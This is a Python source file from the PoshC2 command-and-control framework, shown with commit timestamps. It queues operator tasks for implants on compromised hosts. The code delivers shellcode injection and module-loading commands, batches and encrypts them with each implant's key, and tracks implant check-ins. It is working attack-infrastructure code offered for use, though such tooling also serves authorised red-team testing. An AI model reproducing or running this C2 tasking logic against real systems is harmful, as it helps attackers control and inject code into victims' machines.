PoshC2_Python/Tasks.py

74 lines
2.7 KiB
Python
Raw Normal View History

2018-07-23 08:55:15 +00:00
#!/usr/bin/python
from Colours import *
from Core import *
import DB
2018-07-23 08:55:15 +00:00
def newTask(path):
result = DB.get_implants_all()
commands = ""
if result:
for i in result:
RandomURI = i[1]
EncKey = i[5]
tasks = DB.get_newtasks(RandomURI)
if RandomURI in path and tasks:
for a in tasks:
command = a[2]
hostinfo = DB.get_hostinfo(RandomURI)
2018-08-09 09:40:35 +00:00
now = datetime.datetime.now()
2018-07-23 08:55:15 +00:00
print Colours.YELLOW,""
2018-08-09 09:40:35 +00:00
print "Command issued against implant %s on host %s %s (%s)" % (hostinfo[0],hostinfo[3],hostinfo[11],now.strftime("%m/%d/%Y %H:%M:%S"))
2018-07-23 08:55:15 +00:00
if (command.lower().startswith("$shellcode64")) or (command.lower().startswith("$shellcode64")) :
print "Loading Shellcode",Colours.END
2019-01-02 20:41:10 +00:00
elif (command.lower().startswith("run-exe core.program core inject-shellcode")) :
print command[0:150]+"......TRUNCATED......"+command[-80:],Colours.END
2018-07-23 08:55:15 +00:00
elif (command.lower().startswith("$shellcode86")) or (command.lower().startswith("$shellcode86")) :
print "Loading Shellcode",Colours.END
elif "upload-file" in command.lower():
print "Uploading File",Colours.END
else:
2018-07-23 08:55:15 +00:00
try:
print command,Colours.END
except Exception as e:
print "Cannot print output: %s" % e
if a[2].startswith("loadmodule"):
try:
module_name = (a[2]).replace("loadmodule ","")
if ".exe" in module_name:
modulestr = load_module_sharp(module_name)
elif ".dll" in module_name:
modulestr = load_module_sharp(module_name)
else:
modulestr = load_module(module_name)
2018-07-23 08:55:15 +00:00
command = "loadmodule%s" % modulestr
except Exception as e:
print "Cannot find module, loadmodule is case sensitive!"
print e
2018-07-23 08:55:15 +00:00
if commands:
commands += "!d-3dion@LD!-d" + command
else:
commands += command
DB.del_newtasks(str(a[0]))
if commands is not None:
multicmd = "multicmd%s" % commands
try:
responseVal = encrypt(EncKey, multicmd)
except Exception as e:
responseVal = ""
print "Error encrypting value: %s" % e
now = datetime.datetime.now()
DB.update_implant_lastseen(now.strftime("%m/%d/%Y %H:%M:%S"),RandomURI)
return responseVal
elif RandomURI in path and not tasks:
# if there is no tasks but its a normal beacon send 200
now = datetime.datetime.now()
DB.update_implant_lastseen(now.strftime("%m/%d/%Y %H:%M:%S"),RandomURI)
return default_response()
#else:
# return None